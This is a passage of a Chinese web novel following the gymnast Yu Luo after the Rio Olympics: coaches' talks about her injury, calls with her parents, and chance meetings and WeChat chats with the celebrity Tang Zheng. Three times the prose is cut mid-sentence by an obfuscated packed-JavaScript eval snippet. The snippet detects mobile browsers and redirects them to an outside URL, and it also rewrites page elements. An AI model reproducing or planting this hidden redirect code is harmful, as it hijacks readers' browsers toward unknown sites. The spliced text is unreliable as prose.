几个胆大的队员回了句,“有数”,其余人都稀稀拉拉“嗯”了声,朱良看在眼里,生气和心疼两种情绪,一时间还是心疼占了上风。 “都没吃饭吗!到底有没有数!” 大家都吓得一哆嗦,身板一直,齐齐喊道,“有数!” 朱良的语气稍稍缓了点,但还是透露着不可违抗的威慑性,“既然大家心里都有数,那我也就不多说什么了。冬训的时候,都必须还要来!一个不落,听到没有?” 奥运会结束,也意味着里约周期的结束,大家也都要各自回到省队训练,还有被退回地方队的,国家队冬训会再次选举国家队员,朱良是希望冬训大家都还要继续被选上。 大家的声音有些哽咽了,但还是不失整齐有素,“听到了!” 朱导总是这样,表面上总摆着个黑脸,心底却比谁都柔软。 陈昭鸣跟着说道,“大家都早点回去休息吧,再过三天又该训练了,不管是男队还是女队,我们都冬天再见!” 王则月也温柔道,“大家好好休息几天,然后好好训练,注意身体,不要受伤。” 在一群孩子眼里,放假和躲过挨骂的快乐暂时战胜了比赛失利的沮丧,人群里爆发出劫后余生的欢呼,“好”的一声后,大家四散,王则月把虞落单独留了下来。 “落落,你的伤比赛这几天感觉怎么样?”王则月在虞落的腿上捏了几下,问道。 虞落眉头微微一皱,但还是摇摇头,“没事。” 其实时不时会抽痛,但她不想耽误训练。 “你在木上分腿结环跳很勉强,虽然裁判没扣你难度分,但我和你王导都能看得出来,是不是比赛期间腿还会疼?”朱良的语气依旧严肃,但不难听出关心。 虞落也不好再瞒,只能点头,“偶尔会疼。” “什么叫偶尔?你知不知道瞒报病情会有什么后果?耽误的是你自己!”朱良不想发货,但没忍住,语气加了层霜。 虞落低头,抿着嘴,不说话。 王则月也开口道,“落落,我们都是为你好,你的伤到底什么情况队医都很清楚,之前让你保守治疗是为了比赛,现在里约周期也结束了,朱导认识比较权威的医生,可以介绍你去看一看。” 虞落在队里天赋和努力程度都数一数二,就是什么事都爱往心里藏,就像受伤的事,明明有的晚上都会被疼哭,但她一直忍者不往外说,就怕耽误训练、被取消奥运资格。 王则月一直都很心疼这孩子。 虞落抬头,咬了咬唇,“会耽误训练吗?” 朱良和王则月对视了一眼,王则月把一只手放在虞落肩上,安抚道,“别想这么多,到底是保守治疗还是做手术需要医生来定夺,不管是哪种治疗方式,都只会让你训练更高效,不治疗反而会影响训练。” 虞落还是犹豫。 王则月见状补充道,“不治疗冬训就不要你了,你自己好好考虑考虑。” 虞落无奈,只能点点头。 “这三天你也先放个假,休息休息。就先别回家了,跟爸妈说一声。”王则月突然顿了一下,补充道,“让你爸妈也来北京陪陪你吧,你要是开不了口,我和朱导也可以帮你说。” 虞落深吸一口气,懂事道,“没事的,我爸妈那边我可以搞定,谢谢朱导和王妈妈。” “没什么事就先回吧,联系好了微信通知你。”朱良挥了挥手,把虞落赶回去休息了。 “你心里明明也很关心他们,下次能不能语气好一点?”王则月看着虞落的背影无奈道。 “他们那个成绩要我怎么语气好?” “你呀,就是嘴硬,刚刚在李丰兆那立的军令状怎么不告诉他们?” “告诉他们有什么用?压力太大会影响发挥。”朱良挥了挥手,开始转移话题,“还不走?不是说要一起吃饭吗?” 王则月叹了口气,认识快二十年了,朱良还是刀子嘴豆腐心。 竞技体操队的宿舍是四人一间,上下铺,虞落、刘欣羽和岳锦洁一间,本来今年新入队女孩,训练一个多月受伤回家治疗,据说没能恢复术前水平,就没再回来。 岳锦洁是本地人,她爸妈先来接她走了。虞落回去的时候,刘欣羽还在等着她,她们两一起买的票。 “小美人,朱导没说你什么吧?”见虞落回来了,刘欣羽立刻迎上去。 “没事。”虞落摇摇头,“你可能得先回了,朱导给我约了个医生。” 刘欣羽立刻关心道,“怎么了?你腿又严重了?” 虞落扬起一个笑容,试图安慰好友,“就是去看一下,具体什么情况要见了医生才知道呢。” 刘欣羽走上前双手捧起虞落的脸,“小美人,你笑得比哭还难看。要是有什么事你一定要说出来啊。” 虞落拍了拍刘欣羽的脑袋,“放心吧,我没事的。你再不走可就要迟到了哦。” 刘欣羽离开后,房间里一下子冷清了许多,但虞落已经习惯了。 箱子还立在书桌旁,想了想,还是给爸妈拨了语音通话。 “爸、妈。” “落落,你的比赛我和你爸都看了,比得不错...”余绢的声音有些小心翼翼。 虞明港的声音突然插进来,“落落,别想太多,快点收拾东西回家,爸爸妈妈给你烧好吃的。” 虞落的父母做生意很忙,从小是外婆带大的,一直到初中外婆去世后,虞落才回到自己家里和父母一起住,但余绢和虞明港因为工作原因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069352|163127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经常出差,虞落平时也住在队里统一的宿舍,相处时间很少,一家三口之间的交流相应也少了很多。 虞落心思重,什么事都不爱往外说,虽然心里清楚父母很关心自己,但还是不太会和他们交流和相处。 可能心里还是对父母的失责有怨吧 默了许久她才开口道,“我这两天暂时回不去,朱导要介绍医生看我的伤。” “落落,你怎么啦?哪里受伤了,严不严重呀?”余绢担忧的声音被电波放大。 虞落咬了咬唇,答道,“没事的,妈,就是例行检查,可能要晚几天再回去。” 虞明港应道,“落落,你有什么事一定要告诉我和妈妈呀,要不我们现在定明天的票,去北京看你。” “不用了,爸,你们忙工作,我一个人可以。” 一家人突然就相对无言,沉默的尴尬在电波间蔓延。 “爸、妈,指导还有事找我,我先挂了。” “好好,那你快去忙吧。注意身体啊,落落,别只顾着体重,要是伤有什么问题一定要第一时间告诉我和你爸,知道了吗?” “知道了,爸妈再见。” 挂了电话,虞落只感到很累,说不上来原因,衣服也没换就直接躺到了床上。 比赛、训练、治疗,都明天再说吧。 躺着躺着就自然而然地睡着了,再一次醒来是被微信提示音吵醒的。 是堂徵发来的消息,“世界冠军现在有空吗?” 除了很亲近的人,虞落觉得在网上聊天会比面对面舒服很多,话也更多些。 虞落回道,“大明星有什么事?” 堂徵正好刚洗完澡,斜斜倚在沙发上,其实好像没什么事,但不知道为什么就点开了她的聊天框。 绞尽脑汁,终于想起一件和她有关的事情,“我觉得还是需要告诉你一件咱两的事。” “??我和你能有什么事?” “在机场啊,被拍到了。”后面还跟了个叹气的表情。 虞落紧张起来,“照片很清晰吗?”被队里知道了,估计会很麻烦。 “别担心,不会连累你的。”堂徵又补充道,“要是你教练骂你,你就往我身上推。” 听着好像还挺靠谱的。 “你的,”打字打到一半,想了想,管明星的应该是经纪人吧。“经纪人不会骂你吗?” “正常情况下,经纪人确实会骂艺人。” “不过我的情况比较特殊。”很快又跟了一句。 虞落好奇,“怎么特殊了?” “我的经纪人和我是队友,我们一起对抗公司。” “什么意思?” 堂徵打字的手指突然顿住了,不知道该从何说起,也没什么好说的,“没什么,以后有机会再告诉你。” 这是怎么了?虞落有点摸不着头脑,但也不好深问,手指一直停在输入法上,不知道该摁哪个字母。 “本大明星悠闲时间已过,要忙工作了,明天记得看我的发布会啊。” 噗,还点题了。 不过很想听一听他要怎么解释被拍的事情,虞落还是问了句,“几点?在哪看?” “结束了我给你发视频。” “好,谢谢啦。” 躺够了,心情也稍微好点了,虞落起床洗了个脸,准备去吃饭。 5. 5 晚上吃饭的时候,食堂空了许多,虞落一个人买了个三明治带回宿舍吃了。 去里约的时候她带了两个箱子,一个装了队服、体操服和肌肉胶带等比赛训练用的东西,化妆包和换洗的衣服都在另一个箱子里,这几天她只开这个箱子就可以了。 不出意外的话,这几天她都是一个人了。 虞落其实也不讨厌一个人的状态,读读书、追追剧,心情好还可以做做手工。 她爱喝咖啡,天坛公寓和省队的宿舍她都安置了一台咖啡机,每年在北京的时候,大家都喜欢来“天坛公寓咖啡屋”讨一杯咖啡喝。 今晚洗了澡似乎是把所有坏心情都洗掉了,睡前还安心读了会书。 第二天是被刘欣羽的连环电话call醒的。 “喂?”虞落睡眼惺忪,声音里还带着睡意。 “小美人!”刘欣羽的尖叫直接把虞落的睡意全都驱散了,“你快看微博!” “什么微博?”平时三遍闹铃都叫不醒的人,到底发生了什么大事能这么早就起? “你和阿徵!你们俩都被拍到了。” 虞落翻了个身,闭着眼淡定应道,“我知道。” “你也看到了?”见好友知道自己说的东西却又没什么反应,刘欣羽更激动了,“阿徵现在在开发布会,说照片的事!你看了没?” “欣欣,我有必要提醒你,我刚刚才醒,而且是被你吵醒的。” “你快去看!我跟你说,那照片把我们阿徵拍得可太帅了!”刘欣羽完全忽略虞落的控诉,咽了咽口水,补充道,“当然我们小美人也不差。” 虞落对此毫无兴趣,“还有事吗?没事我挂了。” “你怎么能这么无动于衷!照片里的人是你哎!” “又不是真的有什么事,解释一下不就完了。” 说到“解释”,刘欣羽突然正经起来,“朱导和王妈妈不会骂你吧?尤其是李老头那张臭嘴,指不定说出什么来。” “就算真的有事,队内也没有对谈恋爱方面的规定啊。”虞落懒得管别人怎么想,“你下次少骂点李老头,小心被传到他耳里。” “谁天天那么闲,我都会杭州了还把我抓回去不成。不过你这几天还在队里,遇到指导们都注意点啊。” “我知道啦,我继续睡了,你快看帅哥去吧。” 被刘欣羽一通电话吵醒,再想入睡反倒不可能了,虞落挣扎了一会还是揉了揉眼睛,开始刷起微博。 虞落其实也是个冲浪高手,除了一个实名认证的号用来发一发代言、赞助视频,日常的plog和vlog外,还有个小号专门用来冲浪。 刘欣羽说的发布会很好找,热搜第一,点开链接就直接跳转了。 已经在记者提问环节了,堂徵穿着一身藏蓝色西装坐在长桌后的正中央,挂着标准的公式化微笑。 “阿徵,有人拍到您在赤鱲角国际机场和一个年轻女性同行,请问那是您的新恋情吗?女友是香港人吗?还是为了不被拍到去香港约会?” 堂徵拍了拍麦,递到嘴边,“这位记者朋友,我们只是同行,怎么就怀疑是恋情呢?您和您女朋友约会都这么纯情的吗?连手都不牵。”说完便将麦放回原位,一脸无辜看向那位记者,仿佛在无声地嘲笑,您谈恋爱可真单纯。 台下哄然笑起来,那位记者也尴尬坐下。 又一位记者站起来,道,“阿徵,据我们了解到,那位女性就是前几天在里约参加奥运会的体操队队员,请问你们是怎么认识的?” 堂徵嘴角的弧度加大了些,再次拿过麦道,“是的,那是中国体操队的虞落,前几天出征里约奥运会,是我们国家的骄傲,我也十分仰慕这位巾帼英雄。” 避重就轻,这位记者也没捞到什么好处,只好讪讪地坐下了。 没等下一位记者站起来,堂徵继续道,“虞落,在去年的世锦赛中替我们国家拿到了高低杠冠军,在国际领奖台上,正中心的位置升起了我们国家的国旗,然而却并没有什么人关注我们国家的体操项目。知道刚刚这位记者提问为止,在座的还有很多都并不知道这位为国出征的女英雄是谁。当然,我的朋友并不会在意这些,她只在意自己的成绩和有没有为国家争光,但我替我的朋友感到难过。” 记者席突然安静下来,没有记者敢在这个时候继续发问。 坐在堂徵右边的中年女人适时地推了推眼睛,拿过麦,开口道,“各位记者朋友们辛苦了,我们阿徵还要赶下一个工作,后面还为大家安排了午宴,请大家尽情享受。” 话音刚落,中年女人便带着堂徵匆匆离席,看起来好像真的很忙。 虞落心里突然涌起一股无言的情绪。 在机场偶遇时,他也是一身风尘仆仆掩盖不了的风华,现在虞落也能透过镜头和粉黛,看清他脸上的气定神闲,仿佛一切尽在掌控之中。 他好像一直能看懂自己,刚刚说得那番话,不管是真情还是假意,都说到了自己心坎里,虞落只觉得有什么酸涩的液体在眼角打转。 就这么躺着,虞落自己放空了一会,不知不觉眼泪已经顺着脸颊流到了枕头上。 最终还是被闹铃打断的,坐起的时候枕头已经湿了一大片,虞落把枕头夹在阳台的晾衣架上,又把被子拿出去铺开,再去洗漱。 不比赛的时候虞落一般都不会化妆,不过今天准备出去拍点照片,虞落还是给自己画了个日常出门的淡妆。 她有个小的佳能相机,不是特别专业的那种,但平时出去玩够用了。 收拾好东西,换了一身白T和牛仔短裤,虞落就出门了。 这个点食堂已经不卖早饭了,扫了辆车,骑去天坛附近吃早饭。 体操队偶尔休息的时候都喜欢来这家早餐店,岳锦洁作为土生土长的北京人每次都必点豆汁,但虞落和刘欣羽都不能太吃得惯。 老板对体操队的几个孩子都很热情,“今天有时间来啦?还是老样子?” 虞落抽了一张纸擦了擦桌子,笑着点点头,“嗯。” 很快老板便端来一碗还冒着热气的豆浆,和一张金灿灿的鸡蛋灌饼,“老规矩,豆浆没放糖,饼给你半张。” 体操队员都要保持体重,老板也会给她们少放点糖或者量减少一点。 “谢谢老板。”虞落拆了一双一次性筷子,开始吃。 现在不是早餐的高峰期,店里也没什么人,老板干脆拉了个椅子坐到了虞落对面,“你们的比赛我可都看了,店里这几天天天都在播奥运呢。” 老板指了指电视,虞落顺着老板指的方向看去,电视里还在播乒乓女团,一颗小球你来我往,节奏很快。 虞落喝了口豆浆,一股热流顺着嗓子流到胃里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069353|163127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖暖的,眼帘垂着,小声道,“我们今年表现得不好,让大家失望了。” 老板依旧是宽厚的笑,“咱就是外行,看个热闹,有什么失望不失望?你们尽力了就好,反正在我眼里,咱们中国队的动作就是最美的,咱们中国队就是第一名。” 虞落被逗笑,食物还在嘴里,呛得连咳好几声,顺过气来说道,“谢谢老板。” 店里来了客人,问老板油饼多少钱,老板在围裙上擦了擦手,对虞落道,“你慢慢吃,我先先过去一趟。” 虞落点头,“您先忙。” 刚上车,堂徵就看到周成涛已经在车内正襟危坐了。 果然,资本家从来都不会这么好心,尤其是老妖婆,说是放一天假,一个上午都没过完,周成涛就被喊来了。 两人交换了个无奈的眼神,堂徵在小桌板旁坐下,周成涛给他递了个饭盒,“喏,午餐。” 一尘不变的鸡胸肉和水煮西兰花,一粒米都没给,堂徵给周成涛比了个嘴型,“老妖婆真狠。” 赵圆回答了几个追到车旁的记者的问题也上车了,人还没进车厢,声音先传过来,“你去里约的这几天没控制饮食,我看你脸都圆了好几圈,这几天先别吃主食了,体重先减下来再加。” 堂徵耸了耸肩,没答话,取出筷子开始吃午饭。 赵圆也不在意他的态度,继续道,“刚刚发布会表现得不错,虽然没按发言稿来,但耿直的人设保住了,现在网上的舆论风向也很好,很多人都夸你爱国。” 不难看出赵圆非常满意,堂徵淡淡反驳道,“不是人设,只是在说实话而已。” 赵圆自然选择性忽视了他的话,拿出一个文件夹,“吃完饭直接去见吴导,已经打过招呼的,剧本也给你提前拿来了。别人试戏前都没有剧本的,你给我好好表现啊。” 堂徵漫不经心回道,“结果不都已经内定了吗?还好好表现干什么?” “你给我记住,这就是一次公平公正公开的试戏,不要再说内定这种话。”赵圆用文件夹拍了两下桌子见堂徵不再回嘴,继续道,“对了,今天试完戏还有个杂志封面,在故宫拍,要不了多久就给你安排在今天了。” 赵圆的一贯作风,只要还有一秒钟空闲,就一定要花在为她赚钱上。 堂徵咽下那块无色无味的鸡胸肉,抬头道,“拍完广告呢?没安排什么活动?” 赵圆合上文件夹,“本来有个合作方的酒会,但鉴于你现在的体重还是安排你去健身房吧。成涛,下午的杂志拍摄和健身房你要全程跟着,健身视频拍了发给我,然后再剪个vlog传到微博上。” 赵圆安排的日程向来不和任何人商量,周成涛已经习惯了随身带纸笔,努力奋笔疾书跟上赵圆的语速,“知道了。” “行了,吃完让成涛给你洗饭盒吧,你把剧本再看看。”堂徵刚把最后一口塞到嘴里,赵圆便把饭盒递给周成涛,周成涛只得放下笔接过饭盒。 堂徵没有助理,周成涛名义上是经纪人,但其实经纪人和助理的活他都干了。 堂徵不喜欢找女助理,赵圆也乐见其成,省了会被炒绯闻或者谈恋爱的麻烦,但圈内的男助理少之又少,赵圆也就一直没再找,只是一直让周成涛把经纪人和助理的活都干着。 堂徵和周成涛的“惺惺相惜队友情”就是这样在赵圆的压迫下培养出来的。 6. 6 赵圆好几年前就给堂徵请过表演老师,堂徵天赋高,学得很快,只是一直不愿意去演戏,也就一直搁置了。 《云端》是一部文艺片,背景是上世纪的七八十年代,男主角是个理想主义的乡村诗人,女主是粗野农妇,两人因为家庭原因结了婚,男主也不得不下矿井打工养家,写诗梦想也一直被耽误。后来一次矿井发生爆炸事故,男主受了伤,需要一大笔钱治疗,女主不堪重负,带着孩子抛弃了男主。 在多重压力下,男主最终爆发,重新提笔写诗,成为了一大文豪。已经改嫁的女主听闻又带着孩子找上男主,索要抚养费。最后的结局是男主和女主打了官司,男主赢回了孩子的抚养权,女主悻悻回家。 一部有关梦想的电影,堂徵还跟周成涛吐槽过情节,人生重大打击成全一代诗人,还真是每一个成功人士必备的成功历程。 女主是由一个今年因为小甜剧才火的、霸屏了一个夏天的新人演员来演的,估计要不就是带资进组,要不就是上面有人。 两个跨界新人合作的电影,堂徵自嘲地勾起嘴角,唯一的看点就是看不下去吧? 结果不出意外,堂徵是所有导演一起评选的第一,“公平公正公开”地成为了男主角。 堂徵唯一感兴趣的还是《云端》的主题曲交给他自主负责,作词作曲赵圆承诺都不干涉。 试戏流程走完,赵圆拉着堂徵上前跟导演说几句客气话,塞了几个一看就鼓鼓囊囊的红包,就先行离开了。 车上除了司机就只剩下堂徵和周成涛,气氛一下子舒服多了。 堂徵把前座的隔板升起来,拿了件外套披在身上,路上一个多小时,他准备躺着休息会。 周成涛见状也不打扰他,接了个消音的键盘和鼠标工作起来。 堂徵躺了半天睡不着,干脆和周成涛聊天,“《现代》怎么想起来去故宫拍摄了?” 接下来要拍的封面是一本叫《现代》的杂志,主打现代时尚,突然把地点定在故宫,还挺意外的。 “要拍个国风主题,应该是现代时尚和国风结合吧,反正他家审美挺独特的。” 堂徵点点头,“确实。” 周成涛见堂徵毫无睡意,不由八卦起来,“哎,你小子和那位体操运动员怎么回事啊?今早看你还说的大义凛然,什么时候就成为朋友了?” 堂徵说得理所应当,“都加了微信还不算朋友?还有,人家有名字啊,叫虞落。” “行行行,虞小姐。那你和这位虞小姐什么时候加的微信?你不是不随便加别人微信吗?”周成涛打趣道。 每次参加商业酒会都会有一大群人围上来抢着加堂徵微信,堂徵不爱加陌生人微信都推给了周成涛,为此,周成涛没少嘲笑他没有“商业头脑”。 “能加上世界冠军的微信,是我高攀了。” 堂徵突然真情实感感慨了一句,周成涛反倒不知道该怎么接了。 不过很快,堂徵就回到了嬉皮笑脸,“你啊,格局小了。” “是是是,你列表两个世界冠军呢,当然你格局最大。这位虞小姐,什么时候介绍给我认识认识?” 堂徵拍了拍周成涛的肩,语重心长说,“我好不容易认识的,怎么会介绍给你认识?” 周成涛气结,就不该指望他狗嘴里能吐出象牙,回了个白眼。 吃完早饭已经快到午饭点了,虞落决定去天坛转两圈然后去三里屯吃饭。 还是夏天,走着走着,身上就已经开始出汗了。 周围的景色都很熟悉。 虞落突然想到去里约前的几个月里,自己和刘欣羽、和岳锦洁、和张清澜、和队里的朋友们,每天早上六点就已经在总局训练场集合,先做准备活动,再跑圈。 周日休息,她也会早起,慢跑到天坛,天坛公园里有很多早起锻炼的人,和那些人一起跑步,一起做拉伸,日子平淡且普通。 也是这样酣畅淋漓的感觉。 放假前教练一般都会强调体重问题,但还是有很多人会在假期先享受吃吃喝喝的愉悦,收假后再减重。 虞落很自律,就算放假也不会乱吃,但今天不知怎么了,明明刚吃过饭没多久,她却依旧有种迫切想要填满肚子的渴望。 想去三里屯吃顿好的。 天坛公园离三里屯不算近,想着中午可能会吃多,虞落还是决定骑车去。 骑了一个小时不到,把共享单车停在停车位上,路上已经想好了要把以前不敢吃的全都一次性补偿回来。 直奔烤肉店,点了个单人套餐。 可能是胃已经习惯平时的食量吧,吃了不到一半就已经饱了。 明明或多或少也是抱着报复心理来吃的,吃完虞落心里还是产生了一丝内疚,正好下一站准备去故宫看夕阳,虞落再次决定骑车去,就当消耗点热量。 到目的地据闭馆只剩一个小时了,但可能因为暑期的缘故,故宫里还是人满为患,虞落排了近半个小时的队,售票的小姐姐特别温柔地提醒道,“距离闭馆只剩半个小时了哦,小姐姐记得按时离开。” 人实在太多了,虞落不愿去人海凑热闹,干脆走那些僻静的小路,边走边拍,好不惬意。 她喜欢故宫,平时喜欢看一些故宫的纪录片,所以虽然只在几年前队里组织来过一次,但还是对故宫里七拐八绕的小路很熟悉。很快就走到了珍宝馆附近。 这个点珍宝馆应该快闭馆了,她也没抱着进去转转的心思,只是想在珍宝馆门前的大院子里拍拍照。 还没拐进珍宝馆的大门,就听到了里面传来声音,“好,换个角度。” “嗯,很好,笑一下。” 这个点竟然还有人在这里约拍?珍宝馆是个小众景点,而且这个点也快闭馆了,虞落还挺好奇这位“同道中人”。 拐过前面的那个弯就到了珍宝馆所在四合院的大门,和平时不同,门口站了两个黑衣人,还摆了路障,虞落正准备进去,便被门神似的的黑衣人拦下了,“不好意思,这里今天有专业的拍摄活动,请去别的景点。” 经常有明星来故宫录节目,只是没想到竟也会来珍宝馆。 既然没有缘分,虞落也不强求,转身的瞬间竟瞥到一个熟悉的身影。 对方好像也看到了她,跟摄影师叫了暂停,喊了助理到一旁去吩咐了几句,很快助理就跑到了门口,对两位“门神”道,“这是阿徵的朋友。” “门神”也不再阻拦,恭恭敬敬对虞落做了个“请进”的手势。 虞落也懒得推脱,拉拉扯扯场面太难看,能现场观摩大明星拍摄也不错。 周成涛也没想到这么快就能见到几个小时前在车上和堂徵讨论的人,狗腿道,“虞小姐下午好,您这是,也来故宫转转?” 虞落第一次被称为“虞小姐”,感到有些好笑,点点头回答道,“嗯,今天正好放假。” 周成涛连连点头,“阿徵今天来故宫拍杂志封面,很快就好了,您稍等一会。” “嗯,你们忙你们的,我自己随便转转就好了。”虞落注意到拍摄场地好几个人都在朝这边指指点点,她不太喜欢和陌生人打交道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069354|163127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更何况是这么引人注目的事情,刚刚想进来看热闹的念头一下就被打消了,此刻只想快点拍几张图就离开。 堂徵刚刚特地给自己叮嘱了“留下虞落”,此刻周成涛只能在心里暗骂堂徵就会给自己出难题。 反正虞落也不好意思赶自己走,周成涛就一直跟着虞落在拍摄场地另一边,有一茬没一茬地搭着话。 瞥到堂徵那边好不容易结束了,周成涛瞬间眼睛一亮,“哎,老堂,这边!” 虞落顺着周成涛的视线看过去,堂徵沐浴在一片夕阳洒下的鎏金中走来。 才一天不见,堂徵的发型就已经变成了中分,一身红色刺绣西装,和故宫的金瓦红墙融为一体,现代与古典穿梭了千年最终交织在他身上,很奇妙,但掩盖不了堂徵的一身风华。 陌上颜如玉,公子世无双。 一瞬间虞落脑子里只剩下这十个字了。 “想什么呢?”不知道什么时候堂徵已经走到了虞落面前,弯下腰,一双桃花眼正对上虞落的眼睛。 虞落被吓了一跳,很快回了神,“没什么。” 堂徵看着眼前的姑娘,眼睛似乎有一只被密林困住的小鹿在四处逃窜,闪着茫然和无措,不由轻笑出声,“你怎么来珍宝馆了?” “我为什么不能来珍宝馆?。”虞落听出了堂徵的弦外之音,但就是不想顺着他的话往下说。 堂徵挑起嘴角,“平时来珍宝馆的人很少,挺小众的,没想到你会来。” 虞落也嘴角上扬,“故宫每个地方我都喜欢,尤其是这些还没被大多数人发现的地方。” 堂徵意外道,“我也喜欢,所以才叫他们来这里拍的,这算不算我们俩兴趣相投?” 虞落看到夕阳在堂徵眼里跳动,闪着细碎的光,心跳不由也慢了半拍,心不在焉答道,“算是吧。” 堂徵听到满意的答案,心情愉悦,换了个话题,“晚上要不要一起吃饭?” 周成涛看两人一人一句有来有往,终于插上了嘴,“老堂,你晚上不能吃啊,脸都胖了好几圈。” 堂徵抬起腿,佯踢了下周成涛,“那老妖婆说什么你就听什么啊?你到底跟谁一边?” 周成涛这个时候自然管不到堂徵,只能乖乖闭嘴。 虞落“扑哧”一声,解围道,“不用啦,我晚上也不吃。” 堂徵好奇道,“减肥吗?你们也需要节食减肥?” 虞落点头,“对啊,平时一般都会正常吃三餐,但量会少一点。但今天中午我已经放纵了一顿,所以晚上就不吃了。” “看来我和世界冠军还有共同点。”堂徵玩笑道。 虞落皱了皱眉,“以后别喊我世界冠军。” “怎么啦?你去年世锦赛不是高低杠冠军吗?”堂徵疑惑道。 虞落讶异,没想到堂徵还真的挺了解。不过还是摇摇头,“运气好罢了,而且已经是过去的事了。” 堂徵点点头,也不追问,继续道,“一起走吧?我有车,送你。” 虞落摆了摆手,“算了,我怕被拍,你们这的人不会往外说吧?” “你放心,他们嘴都很严。”听了虞落的话,堂徵眼里闪过一丝不易察觉的失落,也没再挽留。 正好有园区内的工作人员前来催着清场,虞落打了个招呼就先离开了。 堂徵叮嘱了句,“到了记得微信上说一声啊。” 虞落晃了晃手机,俏皮道,“你有时间看微信吗?昨天还说给我发视频也没发呢。” 堂徵一时语塞,虞落挥了挥手,先离开了。 7. 7 回去之后去天坛转了两圈,心里是对傍晚的偶遇称奇的,又或许该称为“艳遇”? 害,就两个字而已,但她没把这件事告诉刘欣羽。 好像大明星的行程都得保密来着?既然他也跟自己保证不会暴露自己,怎么着都该礼尚往来。 北京盛夏的傍晚是闷热的,席卷着暑气的晚风把汗都黏在了身上,没走一会虞落就决定回去冲个澡,在空调房间里看会书。 心里乱得很,不止今晚,这几天都是这样,字在眼前飘忽不定,却又无法真正理解。 手机不知道什么时候调成了静音,一打开,消息铺天盖地涌来。 虞落先把音量开了,再开始一一看消息。 于绢两小时前问她吃过了吗,她想了想,把中午烤肉的图片发了过去。 于绢又发来一大段“好好吃饭”之类的话,虞落随便扫了眼,就选了个表情回了过去。 刘欣羽给她转发了几十个链接,要虞落帮她挑衣服,虞落失笑,跟她说回完重要消息再来看帮她挑。 王则月也给她发了两条消息,叮嘱她这几天少运动,她回了句“知道啦”。 虞落平时就爱加练,不管指导怎么叮嘱,她都秉持“自己的身体自己心里有数”,但两位指导总是觉得她“不够清楚”。 最下面是堂徵的消息,看来发了有一段时间了。 点开,竟然是发布会视频,虞落又点开看了一遍。 熟悉的脸端坐在台上,白天发生的种种又在脑子里自动放映起来。明明上午还是人模狗样的藏青色西服,怎么晚上就换得那么...妖艳呢? 真是换衣服比换脸还快。 虞落勾起唇角回了句,“我早看过了。” 等了一会,没人回她,虞落点开刘欣羽的聊天框帮她挑衣服。 空调风向是正对着虞落的位置,坐久了虞落觉得有点冷,起身去拿遥控器。 遥控器“滴”的几声中好像还伴随着微信提示音,虞落扔下遥控器,检查消息。 是王则月:“落落,过几天有个对奥运出征队员的采访,现在在北京的应该只有你,清澜和卓远了,你们三个要不一起去吧。” 虞落向来不爱参加这种活动,她在公共场合放不开,也不会说什么客套话,但这次没办法,大家都已经休假回去了。 不想让王则月为难,但内心其实不太愿意,虞落先退了出来,看看有没有别的消息需要先回。 微信新消息空荡荡的。 说不上来是不得不参加这种活动,还是没收到想要的消息,虞落突然觉得心里空落落的,只好又回到刚刚的界面,回了句,“好。” 王则月也很快回复,“后天上午八点,有车来天坛公寓接你们,化个底妆就可以。” 比起采访需要注意的事项,虞落更关心另一件事,“王妈妈,那什么时候去见医生啊?” “大概周一吧,明天是周末,你别心急。”王则月还加了个“摸摸头”的表情包。 虞落心里宽慰了些,“好的。” 铺天盖地的消息都一一回完了,清净之后心里的失落更难以掩饰,虞落觉得还是要早点睡,赶走杂念。 许是睡得太早了,醒来的时候才凌晨四点,迷迷糊糊起了个夜,再次躺到床上的时候,又清醒得不行。 数了一会羊还是睡不着,虞落从床头柜上拿起了手机。 居然还有人两点多给自己发消息?刘欣羽肯定又熬夜了。 打开一看才发现竟然是堂徵。 “今天行程被排满了,把答应你的事忘了,对不起啊。” “不过没想到你还会主动看我的视频?你不会之前也是我的粉丝吧?” “你已经睡了嘛?年轻人不是都爱熬夜嘛?” “好吧,反正你明天一早肯定能第一个看到我的消息。” 一连发了四条,堂徵话还挺多的,虞落感到自己心里空缺了一整夜的地方好像正在被四根无形的丝线慢慢缝补着。 心里虽然开心,但虞落还是保持她原有的聊天风格,“我朋友是你粉丝,她发给我的。” 对方倒像一直守着她的消息似的,没等虞落退出聊天界面就回道,“也是世界冠军吗?我真荣幸。” 刘欣羽去年世锦赛拿的银牌,和虞落的分数只差一点点。 虞落皱了皱眉,一时不知道该怎么解释,打了又删,删了又打,那边的消息却更快一步,“所以你为什么到现在还不睡?” 一句话倒是解了虞落不知道该怎么解释的问题,虞落扬了扬嘴角,“你不是也没睡?” “忙工作呢,今天见了导演,后天就要进组,抓紧时间看会剧本。” 堂徵对于工作向来认真,即使不喜欢赵圆给自己强加的工作,也会尽力完成。 虞落小惊了一下,“你们大明星都这么忙吗?” 